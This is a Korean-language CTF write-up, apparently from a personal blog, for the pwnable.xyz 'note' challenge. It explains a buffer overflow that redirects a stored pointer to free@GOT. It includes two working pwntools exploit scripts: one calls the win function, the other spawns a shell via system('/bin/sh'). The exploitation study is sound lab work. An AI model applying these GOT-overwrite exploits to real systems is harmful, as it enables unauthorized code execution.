본문 바로가기

CTF/Pwnable.xyz

Pwnable.xyz pwnable_note Write up

이 문제는 여러방면으로 풀수 있는거같았다. 

처음에 일반적인 익스로 하였는데 아는 선배가 쉘도 딸수 있다고해서 익스를 해보니 진짜 되었다.

 

2019-12-07일 추가-----------------------------

edit_desc 를 보면 s+32안에 heap 주소를 넣어주고있다.

근데 어셈블리를 뒤로가보면,

s+32에서 그대로 꺼내서 read로 쓰고있는것을 확인할수있다.

즉 여기서 got_overwrite가 발생하게된다.

일단 edit_note에서 우리가원하는만큼 값을 입력받고 s에 그대로 복사할수있다. 즉 s+32안에 free_got를 넣고 desc를 할떄 우리가 원하는 함수인 win함수를 넣어주게되면 완벽하게 풀릴것이다.

 

from pwn import *

p = process("./challenge")
binf = ELF("./challenge")

addr_free_got = binf.got['free']
addr_oneshot = binf.symbols['win']

def edit_note(buf):
    p.sendlineafter("> ", "1")
    p.sendlineafter("Note len? ", "52")
    p.sendlineafter("note: ", buf)

def edit_desc(buf):
    p.sendlineafter("> ", "2")
    p.sendlineafter("desc: ", buf)

payload = "A"*32
payload += p64(addr_free_got)
edit_note(payload)

edit_desc(p64(addr_oneshot))

edit_note("1")

p.interactive()

 

---------------------------------------------------------------

 

일단 공격시나리오를 하면 

s 를 오버플로우시켜서 buf주소를 free_got 로 바꿔준다. 그럼 다음 2번을 눌러 안에 system plt 를 넣어준다. 그러면 free 를 할떄 system 함수가 실행될텐데, free 인자에 우리에 /bin/sh 을 넣어주면 쉘이 따질것이다.

 

from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
#p = process("challenge")
#p = remote("svc.pwnable.xyz",30016)
binf = ELF("challenge")
#sh = 0x7fffffffe9e6

gdb.attach(p)

addr_free_got = binf.got['free']
addr_system_plt = binf.plt['system']
addr_read_got = binf.got['read']
addr_win = binf.symbols['win']
#payload = "A"*52

p.recvuntil(">")
p.sendline("1")
p.recvuntil("? ")
p.sendline("52")
p.recvuntil("note: ")
p.sendline("A"*32 + p64(addr_free_got))

p.recvuntil(">")
p.sendline("2")
p.recvuntil("desc: ")
p.sendline(p64(addr_system_plt))

p.recvuntil(">")
p.sendline("1")
p.recvuntil("? ")
p.sendline("16")
p.recvuntil("note: ")
p.sendline("/bin/sh")

#p.recvuntil(">")
#p.sendline("2")

p.interactive()

'CTF > Pwnable.xyz' 카테고리의 다른 글

Pwnable.xyz pwnable_xor Write up  (0) 2019.11.17
Pwnable.xyz pwnable_misailgnment Write up  (0) 2019.11.09
Pwnable.xyz pwnable_add Write up  (0) 2019.11.09
Pwnable.xyz pwnable_sub Write up  (0) 2019.11.09
Pwnable.xyz pwnable_welcome Write up  (0) 2019.11.09